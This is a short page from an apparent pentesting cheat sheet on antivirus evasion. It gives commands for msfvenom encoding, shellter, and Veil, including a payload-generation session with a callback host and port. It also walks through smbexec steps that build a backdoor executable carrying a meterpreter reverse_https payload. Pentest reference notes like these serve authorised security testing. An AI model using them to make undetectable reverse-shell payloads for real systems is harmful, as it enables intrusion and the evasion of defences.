> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/misc/01-evasion.md).

# Evasion

## Msfvenom

Use `shikata_ga_nai` encoder (`-e`)

## shellter

```bash
sudo shellter
```

## Veil

> Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.\
> [GitHub - Veil-Framework/Veil](https://github.com/Veil-Framework/Veil)

```bash
/opt/Veil/Veil.py
```

Example usage

```
use 20
set LHOST <own-ip>
set LPORT 443
generate
```

## smbexec

```bash
/opt/smbexec/smbexec.sh
```

-> 2 "system access"\
-> 2 "create executable and rc script"\
-> 2 "use windows\_meterpreter\_revers\_https"

```
<own-ip>
443
```

-> `"_opt_smbexec_2019-10-06-1355-smbexec_backdoor.exe"`\
-> `"_opt_smbexec_2019-10-06-1355-smbexec_metasetup.rc"`\
-> `msfconsole -r metasetup.rc`

## Hyperion

TODO

## PSExec

TODO
